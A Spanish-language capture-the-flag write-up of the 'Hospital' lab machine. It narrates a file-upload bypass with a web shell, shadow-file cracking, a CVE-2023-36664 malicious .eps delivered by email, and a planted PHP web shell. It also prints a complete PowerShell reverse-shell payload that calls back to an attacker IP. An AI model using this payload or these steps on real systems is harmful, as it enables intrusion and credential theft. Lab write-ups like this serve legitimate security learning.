HOSPITAL
Ping, IP y SO:
Enumeración
Tenemos una lluvia de puertos así que, hay bastante que hacer...
Puerto 22:
Puerto 53:
Puerto 88:
Puerto...
Puerto 8080:
Whatweb:
Navegador Web + Wappalizer
Fuzzing:
Analisis
Tenemos un panel de login y además una opción para registrarnos, vamos a realizar le registro...
Iniciamos sesión...
Bien, podemos subir un archivo, vamos a ver si podemos subir una foto...
Perfecto, sabemos que podemos subir archivos con extensión jpg.Vamos a intentar algo...
Excelente!
Como ya conocemos el directorio de subida de archivos, si este no podemos ingresar:
Pero ingresando directamente al archivo si podemos ver la imagen que subimos...
Algo que podemos intentar hacer es subir un archivo malicioso en php...
Seleccionamos nuestro archivo malicioso con el siguiente contenido...
Intentando subirlo...
Damos en Upload y ...
Claro era de esperarse ...
Vamos ahora con Burpsuite y jugaremos un poco...
...
Pues buenas noticias, después de jugar un poco con las extensiones de archivos, utilizando la siguiente lista:
Hemos conseguido subir nuestro archivo malicioso...
Ahora podemos ejecutar comandos...
Vamos a intentar ejecutar un comando sencillo, por ejemplo el comando 'id'...
Too bad!
Parece que no lee nuestro comando, vamos a jugar un poco para ver que encontramos,
Recordemos que nosotros estamos usando el comando"system" en el php para ejecutar comandos, tal ves esta función no este habilitada...
...
Vale,
Despues de jugar un rato con mis web-shells y diferentes shell en php desde este sitio, recordé que tenia una shell muy buena que use hace un tiempo, p0wny-shell de flozz, y al final si he podido ejecutar comandos...
Al final se ve de la siguiente manera:
La verdad es una web-shell muy bien lograda...
En fin
Vamos a entablarnos una reverse shellMaquina atacante:
Maquina victima:
Damos enter y...
Estando dentro noto que no puedo hacer hacia arriba, hacia abajo, Ctrl + L, incluso un Ctrl + C se nos va todo al carajo
Vamos a entablar nuevamente una reverse shell y ademas a conseguir una full tty
El paso a paso de una full tty los puedes encontrar aquí.
Continuamos y ...
Listo, ahora si podemos trabajar mucho mas a gusto...
Vamos a ver que podemos hacer, si escalamos privilegios o realizarnos movimiento lateral...
Explotación
Y que esta versión justamente tiene una CVE relacionado...
Y además tenemos un exploit en github para escalar privilegios... vamos a escalar privilegios utilizando este CVE/exploit:
Vamos a pasarlo a nuestra maquina victima:
Maquina atacante:
Maquina victima:
Somos root!
Hay algo curioso aqui, tal pareciera que estamos en un contenedor...
Esto lo podemos asumir por que tenemos una sola interfaz, 1 solo usuario aparte de root y no existe un archivo user.txt...
Continuaremos trabajando esta maquina para ver que mas encontramos ...
...
Se me ocurrió revisar el archivo /etc/passwd y el /etc/shadow y encontramos cositas...
Tanto el usuario root como el usuario drwilliams tienen asignado una contraseña
Aqui es donde podriamos utilizar unshadow para poder, de alguna manera, ver si podemos cracker con fuerza bruta con John alguna contraseña.
El proceso es el siguiente:
- Nos traemos los 2 archivos a nuestra maquina atacante (/etc/passwd y /etc/shadow)
- Ejecutamos unshadow para extraer los hashes de los usuarios y las contraseñas:- Ejecutamos John para ver si crackeamos alguna contraseña (tarda lo suyo, seamos pacientes):
Y vuala!
Tenemos una contraseña
Vamos a guardarla en nuestros archivos de pentesting para tenerla a la mano...
Aun no sabemos de donde es esta contraseña...
Podríamos intentar verificar si con netexec con este usuario y esta contraseña los servicios smb o winrm:
Ahora, recordemos que tenemos el puerto 22 OpenSSH, podríamos intentar conectarnos con estas credenciales...
EntramosPero, lamentablemente parece ser el mismo contenedor... diablos... sigamos viendo donde mas usar estas credenciales...
Ah tenemos un servicio de correo en el puerto 443...
Vamos a ver si aquí también podemos ingresar...
We are in!
Vamos a echar un vistazo...
Solo tenemos un correo, donde , tal ves nos pueda dar pistas de como continuar ...
Vaya!
Se me ocurrió colocar las palabras clave en Google y ver si existía algo ...
Al parecer hay un CVE relacionado...
CVE-2023-36664
Estaba leyendo la documentación de este Github y al parecer podemos inyectar comandos...
Vamos a intentar este exploit...
Preparamos lo necesario, segun la documentación lo que necesitamos es un un archivo .eps malicioso, es por eso que vamos a generarnos una conexión reversa hacia nuestra maquina victima.
Creamos el archivo malicioso...
Pero primero, por que me acorde algo tarde (maldi
tasea), perdonenn la costumbre.
Tenemos una maquina windows, así que necesitaremos tener nuestro netcat en nuestra maquina de kali para poder realizar la conexión reversa.
Compartiremos con impacket por smb este recurso... vamos a ello...
Conseguimos nuestro nc64 en Github y despues iniciar nuestra carpeta compartida con impacket:
Ahora si, preparamos el archivo .eps malicioso...
Ahora, como responsables de proveer el diseño para quien sabe que (😈) vamos a mandarle a drbrown@hospital.htb para que pueda ejecutarse nuestro código malicioso, que en nuestro caso es, conectarnos de forma remota al servidor.
Ahora a confiar en dios y esperar a que Chris Brown use el archivo, mientras tanto hay que estar listos con nuestra conexión...
Esperamos...
Pufffff
Pa' dentro!
Post-Explotación
Indagando un poco en las carpetas en las que pude entrar, encontré lo siguiente:
Pareciera que es un password dentro del archivo ghostscript.bat, "chr!$br0wn".
Algo que podemos hacer con esta contraseña, es intentar acceder via remota, ¿porque? por que ya revisando los permisos...
tenemos "Remote Desktop Users" es intentar conexión con EvilWinRPM
Aqui pudimos revisar que el usuario "drbrown" tenia el permiso de "Remote Desktop Users" pero una herramienta que se puede usar para verificar que el usuario "drbrown" tiene epermiso de acceso remoto es utilizando netexec:
Investigando un poco, antes de querer correr un servicio de WinPeas, queria revisar un poco la maquina, resulta que en la raiz de C hay un servicio Xampp, curioso ya que este tipo de servicios no se recomienda tenerlo en un servidor de producción ya que pudiera tener algunas vulnerabilidades (ojo esto lo digo como desarrollador).
Vamos a revisar un poco la carpeta c:\xampp
Haciendo un cat al archivo index.php del directorio htdocs:
Al parecer es el servicio de correo, que internamente esta abierto en el puerto 80 (segun la configuracion de xampp):
... y que externamente esta saliendo en el puerto 443 del servidor hospital.htb.
Esto me agrada por que desde aquí, podríamos hacer alguna tipo de trampa...
Vamos a colocar una web-shell muy sencilla en php.
Copiamos mi archivo cmd.php de mis herramientas a la carpeta donde estoy ejecutando mi EvilWinRM...
y ahora le hacemos un upload al archivo desde la conexión que tenemos de Evil-WinRm, ojo tenemos que estar en la carpeta c:\xampp\htdocs ya que es la raiz del sitio web:
Vamos a revisar si podemos tener acceso al archivo desde la web, recordamos que es en el sitio seguro:
Damm it!
Es nt authority\system
Recordemos que ya tenemos un recurso SMB compartido y que ahí deje ejecutando, asi que vamos hacer uso nuevamente de este servicio desde esta web-shell,
Preparamos el payload:
[payload]
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.2', 4433);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
Preparamos nuestra maquina atacante:
Ejecutamos en el navegador pero recuperamos la llamada con BurpSuite:
Nota: no recuperaremos una respuesta ya que inicia la sesión donde estaremos trabajando...
Si todo ha ido bien, tendremos una pseudo-powershell:
Buscamos nuestra flag:
La ingresamos ... y
Conclusión
Esta maquina ha sido un gran reto, por lo regular estoy en maquinas Linux y esta me parecio un bonito inicio, una maquina media y que durante 6 dias hice en ratos, investigando, intentando cosas nuevas, hasta que por fin pude.
No estoy seguro si haya algunas otras maneras pero ten por seguro que si tenog que actualizar este Write Up, lo haré.
Espero verlos pronto, nos vemos en un siguiente posteo.
Chao.
Comentarios
Publicar un comentario